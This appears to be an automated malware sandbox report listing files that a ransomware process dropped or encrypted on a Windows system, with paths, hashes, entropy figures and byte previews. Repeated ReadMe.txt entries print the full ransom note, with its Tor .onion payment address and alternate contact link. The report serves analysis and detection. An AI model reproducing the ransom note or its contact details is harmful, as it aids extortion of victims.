                                                        SHA1:F33E17534C298B76BE7AD5E89AC4AA2C18941C21
                                                        SHA-256:C549D6116DE42745BA7482E3B6640FB35A8A89FBA360821ABE2C82B513B64308
                                                        SHA-512:B6622D8A38E581C61500E091D2484B74333131B9DC926EDCEC975839CFAB7C900A50D797455CAEECAE41E843BE71DC80D66277757C9DC25BEC547CEE88968822
                                                        Malicious:false
                                                        Preview:....%.[axOG...I...B...p.[(.g..:...[p8...V.gV....\K.Sz.+.._1L..nZw%#..Xus;..H.2F).d...2}...v.... ...O(/1.H.l....X7JZ..].@.n...K.L....V..q......[....l..#.x....!)o...;.,.....e.cg...9X.Yz.....F`hH.....+A;...A<..R]._.{.<=Z..|.M...`T.^...d.".......-..n..4.Zj^er~,g#..J....q...r......e&F...;FhN...J....ts.3..z......-......0.jn.........n...D.4=y.<.......1&K..rP.Il..3u..|...Pv..}...Mch..r.n.......d.-....?s......s.>=...uY.9N;1...*j...../..v.[s...c.}}K#"...<...J..o..xX.!...e.+ZQ...".M.v..F..........4=.......u....aaoF9.(....'...NO.qM..V.....Q%...$.....U..,.<.G+?VP....p..*.x.............-..V.,.&.7......U...-...{.....[..O.$.L.t...7.V...''c..^.q........s._XV$.vQ.c..X.....%..\....<.$.....O.R1....B.....b.1=..._J.GC...W..E..y...T..G..7WV%K.4...V.S.../b.x.....,.xt........f..%.cqrszZS] .8......B...4.....8 HRLU...j.@....^@..].kk.x@.:.........e ....e..:.......6t?a.-...W'...g..".NnOf!.2..........d|...{2.....tPN...Z....%......%.k...'.k..FQ.p.{..njw..;`...X4x.).

                                                        C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):177793
                                                        Entropy (8bit):7.9989609442602605
                                                        Encrypted:true
                                                        SSDEEP:3072:fYPLjLpYlOgB/L8jMcTUV8PrsJ+7JeX59qalXS8xxZbGRtzZdFGXkNZKYLMWdu:f2Hp+1ArDoWep9qZgA5bYIZKYLMsu
                                                        MD5:F084C6D8D258F7EC584C3B3EC412D71B
                                                        SHA1:B27A71D4601D63D39347CEF0602197AAFEACB04E
                                                        SHA-256:E46D93F044EF208888700DA8687B422A04658FEADB135F8DA0FC942B8870CC90
                                                        SHA-512:C86BA7869946D56283C66C6909D77A8A34BCE768D0EDD5E0F11AD1CA24C3A9CEAA1FF81DA1AC5942A5621179552A81139DFE5F87221E9D4F2C5204235A139C60
                                                        Malicious:true
                                                        Preview:f.....n..q.W)*........s...".b........6.[vT.Q...=Z..h#{..4.T..B7z..q.p....>5.d...U.?..Y.........H.U.C68Y....Qt...DV.Y{..x.O...2.|.=.!.g.L.)..'..Yw.w'..n......+..n....#.G...34w..j.8xN=j..j.}.....k..."CovV.e..1.......a.|...c)....F&G...y...x?.....+xz..'......vg..*.o.f\P.a.K....._._G.v......|...X_..=......7...~..c./..(ksQ..u0...p+.&...JC6z....YV..5..e......1f..(....}Uy...m..\..W....Z.".\..Q..E1Fx.MXE..wn..d..@.h....E>..k.&....~../..{.......u#m.... .6..........t..f.^=s.J.....!B).x..).N.H..K......\.2:....K._"v.f......Y..;...N.Y..@..Y2.n.i....P....VX..........:.;....X..S2..*.`(.a........!{..I<.............L..p?N...Q.......}o....i(6q.M..H.s.J...&.4....,C./.h..f..o...|(.p9.u.U.....#.<a:.y...../.}J....{.O.c..-..B.B.>|5+..V.!/1.....].>.x0..5......o^....M\...vK...7y..........Ep...;=..'.0;..]....F...,I... ..........U....>..y<..AJ.d@.3u.6....zG..#.2.F#uB6./W.....^..i...1._*..j+..j..L......W..f.[......b#.....'..?..[~..S.E.5..x...?6..!...hk_.a

                                                        C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\Setup\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901220034.msp

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:OpenPGP Public Key
                                                        Category:dropped
                                                        Size (bytes):244416593
                                                        Entropy (8bit):6.91320783567029
                                                        Encrypted:false
                                                        SSDEEP:6291456:rWCpELQzJo3S/buKi8FpgpeNcOf77ntTVU5EAb2XO9on:rWCpELQzWKi8FpgpeNcOf77ntTVU5EAK
                                                        MD5:FACBC1053B223ABBCA40D21DDEDF3A89
                                                        SHA1:E5084433A22D6319DF7DEDD3A15A6D0F127A8AF7
                                                        SHA-256:B8FCD9B0DA41987B60B39449FA039EACBF99B581D1EB6EE4ACB0E60E5D5462EE
                                                        SHA-512:1A567CF1CC06921CEDB2D4442DA5E79D185B95D495229B721AB0662F1D379EC4B577C61399CE108BEC0D4D1C9AC6D9D5D0E6818EEC6D32F13A664C4FA7A43EA3
                                                        Malicious:false
                                                        Preview:....y8.1.?....!jS..bS7/.g...y^.>..D`4l.bWs=....I....E.R....x.Ukz...J..g.........`/*:q/..B.{Ev&.HR+{^..4.6..<..RK.<..RWi...sg./.._.!.Kl0:.X..b]..s....W|.......R..sj..~.Q.J..iI.E`k.I8....*(e..A.G...'.{.x..N....L.=zA..X.....gp.*....4......I..CX....l-.X....e5$...L5...x_._....pM%....I...d.,....#..N.M$...N..l.......tX..(.7.1...R....F..U...K.@....u.0!a"..x...,.I.q..&..O......fG.F.Y.E.p....B_.b..5%...jg....5..Jo.......&L=,....(%.*%@....5x$.`...ra.P..3FM._.VnJW.".=.<}..}._..L..N'.Jz/...<.@s.`.U\..T.../..P@..A......dE.q.U..jG..k..A.AeB..6n...a..Nb.9{h.......s..V.z5...{.U#.V....~.aUQ...k_....LM..c..&.....BR...w...(..=..:.N4....(>0o?.R...r6.0...y.v.......h..c...VMa.j...0...B.'...J........x..q$@d.....:o'..>Rb...ce.c..w.mt...K....,......L&...a.H...~c.$..;sv..4.{......I=.@.".y....Sp.D....@.JX...U.......B"!.h..DS...9.7.....a.kbNx/..)..+J....2.k\-..Q.A...?.X..Z#..v.._\....q....:....]..{..K....[).....DeqP..4h.=.X....S.~....oW.ZWY...[...V<....kY.u0."......

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRead.msi

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):2793041
                                                        Entropy (8bit):6.46637809263449
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:31DD66E7DDDF20A4CFC32FC31DCE6384
                                                        SHA1:DFFEE96AC3F80CABD7FE4C58366908879ECFBCB5
                                                        SHA-256:F8684C79E3BCF27CC0CC3232FCB0A486D3BA03E54F7045254F5178CDFF51B894
                                                        SHA-512:B7D60ADD26737B578DF1A897DE0FBB8A41AAC3F80E8AFED82C6A30D532C821CC2BF31C3E523CBFB1FD5543300F11870B8C8D4B47F169644FEA3E8CC5A814C5A6
                                                        Malicious:false
                                                        Preview:.......c]..e..+7B.K.N.....}.l...D>..jZ..|.....5...C..&8n..UvZ.g.....8.2.?.[:...j.1M...5.k,.P.Q..o)G...$.'.../..M.z.t>o.%...Y..].[0J..3..0......U...n...^..K.f+1C....4..j."....\..0PS.&.....&...w..c.v..`3."h..?.5...D.c.!Z<X.#.L..M4.E.M.6<....8|.,iN...1.ND...O.v_............n2Nc....PA....MC+O*..%.nVC.E......c..+.S..%......[..3...........c..F..)>....".g.....S<FtI..E.r..._..F.8..../4$y..T!*...8.'l.c..c..Q+..J7..M......)..4J..ay....^...!A..+..\......,a...&..L..( ?...".4._.......".g{.q.?`6W.....L...3..I...o.y'.....k..W......b[.l..AEb..N;....8O&]u.pM....Q....4.....m/@.w.M+.h.|D..3h.V..i.,.h.O..a-1S..V..Y.......":.S!......7b..J.PW......j3.../@.....0...K...i.l.b4(.K...|.......s#.cSw,...s.b.:...9.*SX..8...<J[:.L..s....p.D....q..N. Fs....{.q.u}"....7|g:.7..b.U.zz.&.BQ$7..5.z..-.Hi...[.Wf.J..[t/....N0.._.-....I.wJ...Z...s.....b.NT....bS.~1.N..6....G..L.]...)IU&...J.d@:..o.{....B,.;....L"f....^.V.m..gL".<|.....D!= ..aB.._`&q....(...,*..A.;...}.G..

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\Data1.cab

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):175114124
                                                        Entropy (8bit):6.834603938914096
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:844D7231EA4343E14ADA57F0DB522052
                                                        SHA1:918F2F0B52B83055584D54978FECBD08A378820E
                                                        SHA-256:349840B42E716D522F62E3E34772F68BEF3BCDC9180D54677E90306E67DA75B8
                                                        SHA-512:BBDB633613B16FAB99EA73A982ED7FCB066CFA94F06ECE2924F9BC5E632594456B9E561CE604B2DEE53004D89C13526B4D4C8C877FB3097C6E1BBA4071278158
                                                        Malicious:false
                                                        Preview:PH.....;.S}iN?TO"U.T...f.q..#..d.3.I.E2#.A."..>...UF.".A..........BW....$..9oh.kf.M..+x..?..,|..1:.C...K..2&.....X...#D/K.x?..a.LN......}..O..{...9Ro.8Bc.[.{..$.4..H...,....L......ONv.&.<...M.......Lu...1..S.o...+.u...2.8)...Z.&M...j$.I9.`.....K6....!.vLY@.IC...wu.(.f.......R...<.@..9.....8.G.tv..u.+.-\.^......Ab.....J..1T..+L>.`.....0...../.L04.s.'A.{..jA|...}u.!sc.&.q..,....^F..j`...A......bT.j.f..;"..d...JA}[UW.s...{W...p;B..b.(jD..R..6a.<.9>&........S..X&..P.@....pRp!..ma.O7....P...?A.1m...ZX..w..U..G..*.A.tw..7..'..p....d...x.......2)..U...dW.....&......r9.3.....\....c....."g.b....Ej5..6.*l..4M..->V$........K.w.b`,...y...w....Ot.-Bf@.........#....U4.!.2.f.9Q>c.(,..*<...+..T..Z.r...".......,k..0.E.......;5_N.k..].h.K..Zk_{.~Gy^.`...d./:....s..1.f......"j}.4.."3....?$..t.x*n`......$x)..&.z........<...3..\.W...).S....q.../ o2^2...Y3h...}.....@.[.....Q..^..^W.k..x..$.... Q|.^...GW.3..[/^c.......RUn.9-X.b.^..}...`Of.E].Wy....B)8Nb`....

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.ini

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):689
                                                        Entropy (8bit):7.7522103489568925
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:DB97C7D0208B596AA26C8D7B945BAB56
                                                        SHA1:6D162AACE1DC59DD4DF28B0018E8EF6798F146A2
                                                        SHA-256:25500BCDD1B526E1EBF6457595DDA449DCE232FF7D80F99AB78C58F8232C4AF8
                                                        SHA-512:14C92829FE7A739B62810B783605036DFF57F57EED7C6ECEBB54D6ACE05532BE9173CFBBB22A0B39E6C66DE0E47C4E13E4025F0A7A32C57BE5855207358F9060
                                                        Malicious:false
                                                        Preview:..5..^.).....ia!..9.o.q.......].}.."..X......x...Y....BC.Ih.1@.2H.....aA.[..].uLH?M.B.{D......NH<.S.r.Pv.o...<...G..z+........8l..r...&.L..W.W.7..S..[..I5j.e.M.N..^......e..{.F..!.?H..k.Vh..8a....=..F}...G.+..<m...l_Onw..2jS.....&w:,.....-".Mm.%.<..j......#ly.2j......-Z..&.b)u5.......C.n%ze.4....j&.M...i.u.t..gB..DHc............P.7V.J.>&z.:.A...$.iK..%...c....f...u....).........C......:.42..V}UU9...E.'..VF./...~....RQQ....|.H.~.E;...<...JQ.K)J...[.#...CA.S.o..NU.Q.K_.7..,...,..w0.%.k.UrZ/....NL.O....0.r...4.+...hS.........0%..o.MO.0B..px..^6).@._.........8..E.v}...vI.a.a..P.q.[....r..(..F..].E.j$.sJu...5..T`.........n.}....k.[.ZCRYPTO LOCKER

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):464961
                                                        Entropy (8bit):7.999633053789186
                                                        Encrypted:true
                                                        SSDEEP:
                                                        MD5:AB551F2CE975F901F1D78E0D3A1956C5
                                                        SHA1:E0DA022C19E9AFFE77DC4E2EF5BEF74E060563C3
                                                        SHA-256:3F4DBCE248A1E7F2A9F2F7D5880ED78CC01E7636BF47757AFCD580BA4E30F106
                                                        SHA-512:DCA00038EDD324A38E3D2A0024A2604792A51BA84FF2D096D2CB552E05055374E36D1723C4EE51FD8FDAE85AF17C0B0368138F15803B41CA2916BF8E40C3B05D
                                                        Malicious:true
                                                        Preview:...j...m...tw..3.J..~.0.....*z.Pw....q.hP.V..`....%...\C.#..tWZ.v...dR....@..>9[....:.X.|&...L&@.k....*l}.q..YAS.w...\Y..4:..Do!$N..%......H.......T.%../.(k..AU.a)...........q;>..*..6o.f.....0..oQ.C.=>.c...L.;y...$..Otc~..\......m.@.T&..d".....l...1....,r..X........,:.8.u.B.."..\.......j......f..v.5D.p....G..M.JL.<.........O~..& $5;..........-....._.`.......*.:..nWG!c....k....o.gl.b...2|..w...P........f.:4.P..>!x^...Y...;6q.. \.*..$..;..d.?.y.\R.V...........'..[/t....G....W.N....Y..Dd...j.8%..o.P.)....+..L....../j.B1.A.:>.q..X..Tf...!..*y.|..IN..!..s.o.?..z>...z......S..S.9.9 .M....zp..q.M.>..q\[.6.b.+..;...v...]...7U.\C..S..z.u.!.....o.H1@...s^/........7U..._U5.G../!0TY.L?.h.HdD..t.v:...@..p.36.............C.......N]2....I...Rt...$.C,.j.....U....l.~.48J...-|Wg....^..kq........+^.}..u.\nw.q.e...M..."...].E...%.Z #"}....C....j<w..t/V.SL....X.i3.o.-..t.w..v#.v...p..6.../>....!_....Ps....(..f......?.ga.....W/.........

                                                        C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.ini

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):295
                                                        Entropy (8bit):7.268241769598223
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:C976EBA53385F4D381DEBD9D93266FFF
                                                        SHA1:99045380DF752EEE0966766461427ECBAE9276BA
                                                        SHA-256:7CCE08616E2BFA08D50ABE088A7D474EE528DCC0369DA0734C4E51FBDEB59B98
                                                        SHA-512:AFDFDF64318ADF9F45404AEDEA78B9FC1E5778607776B795B088480E751F87D436F026A8ADD8C32CE8BA53E9164A0A18C1F130C500BEFC6163CE43D51EE77E8F
                                                        Malicious:false
                                                        Preview:.t7n.~...V....U..t....d....X*5.u,y@n......D...In.+....Y..S..i...F..$.@.L#\...2..d!!..t...t.....9..3..>..Ee..1.L......k2......hl..,....I..yF.B.$..#.M1_.s..M....].Q...;l[..y7.......$..tX...UIp.a.?....P..w@...|.m.R......"........H..YJu...5..T`.........n.}....k.[.ZCRYPTO LOCKER

                                                        C:\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\Recovery\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\Recovery\WindowsRE\ReAgent.xml

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):1186
                                                        Entropy (8bit):7.824830055110892
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:F48809414A74DE4FED8A305A13A1F98F
                                                        SHA1:76ECC27C9B94642C24E7BBCA97F6A3755C796AE5
                                                        SHA-256:A1F26C3DA393CE07520D2E80C6025BF93D8F791E8BA942AA2F51319E2B6B2838
                                                        SHA-512:B5A74F65D575BBF4E4649B98625145A170E09912F7366632F82D2BCD206547FF84ADA0D4A1F1CD04A8D89D898F2B5D208CE407828B932BED3FF60D7E0C040E3D
                                                        Malicious:false
                                                        Preview:x.5...Y@AE.T....hx.|WmS..i..G.:8{lH3...S......UVeT.~.]O.......'.........p~..N1N....r...m.q...RwF9..31.5.lI..f.I..n..`.ADBh.f.V.e.Tj.<...H../..Q...a..%^.+....k.m.ZT.....?.uh..b..6.*U.a...b..WF89C.+ qd.^..]..].c.........A.O.v...$..._%.:.,.eS.3.......OK<..0|.9...fG..../...Mq.v.4.f.....Zm.l...E..M...h.n.8.z0......?oP.._.83...%VP\........i5bP..E..3]t....p.....Z6.J.........Zb.../%..ih}.b.".....|...;Ia.P..<Ku..o..i6.<....;.o.....:..'..Ix@..8......&2........`..&.EpG...+SH!.....+....i.#.`...,..tc.\...CnN I'..q..qK{..|P+'L...T.....i.GQBf.2y/..MZ......t...a^.8....X...).U..Mt...?.....W...s!......hR....nb..+`..`.R...+hk..m.}...^:...X.........(..z.@|.j..F.;..E........$.b^Bq6.....E..7@24...Y.."$........aw...&.....P$IUh."Q.r....lS..s/.6.H4. ..^9.I?..2._%I/.?.<.........y..i..p...LmY../...0...t-....:D..y....K./=^.mW.|..t]..\R..6.0.l..2.7...Yh...X.p;...C....g......=.fDn......I3....i...a(0.r...%..||..*..b......V.Y56....m.&...Z..I.......@.S.....I..

                                                        C:\Recovery\WindowsRE\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\Recovery\WindowsRE\Winre.wim

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):367239423
                                                        Entropy (8bit):7.9995570690835605
                                                        Encrypted:true
                                                        SSDEEP:
                                                        MD5:872A4B59ACE2AEB10AA652B82351E79A
                                                        SHA1:A0915ED06CC2BF961365E2BD72EEA2C524011345
                                                        SHA-256:B570580D054A10DBA4D56914F6730CF25B34A9607400CB664E6BB967E39BE722
                                                        SHA-512:F6791CFA63CE729F9027514484AB7F65DD99AF3C2DE3C5F0A3786FC851D9D60B6A4DC424CCF967E3720543D196DFEBC73BE292CD91567BAAD3FAFB20EB0F1880
                                                        Malicious:false
                                                        Preview:.(.........D..x.t.1....~..A)-.n...N.K.r.Q.p.k_.Z.[.R.....8..J....@/...9.)..L.U..........m..p"....\~w..ni._.........-)k.&Y.^eM:...M...1.N.M..$......B.q3.Be.!.....9...U.:.R-,...u35.+.......9.B...B.e....9.v..c....(.f~.<.6.B.bS.v1G^|Xa.j...EE9..'.xWk........9/.w......2.........py.l...}.t.....#.N=.....".y....1....5-L..L.aj..V.U.G...w.g.,....c.2R....VL..J>-..k.5\8.B...w.....n.axnw..x{...Y...Y.;()..c..Y(...J....m.(Ku....r;...yV....M8...._>.....`n.7V...0..Q...o+DD..h.......Y........t....@....x..V.do.J.....=....Fq......p"..x..f....n....m.....0.....W.....'{.........c..36...u.....oZ...>.F.7.a~.fi8..yQ.. .X..zz.}..q.f.]...*...0....r...3....W_.Cc!K1h...-e...B..'....5..~@h.)..zeHc../....t$.....T..bp......\.2....f.KF{.\.qb....(.y..D..h>...zk.5^..:..ld.fqs}.....6.La...y..fV...W..^..\.ak.S....m...Qs^...V.%..T.....6..z.N.X.a.$F.=0.1.v.h.1.{.....fK...t...^)..............I.."...8...{N%..n.!.r......9. .q..n.....0.....w$l....j...4....3o].J.EB..

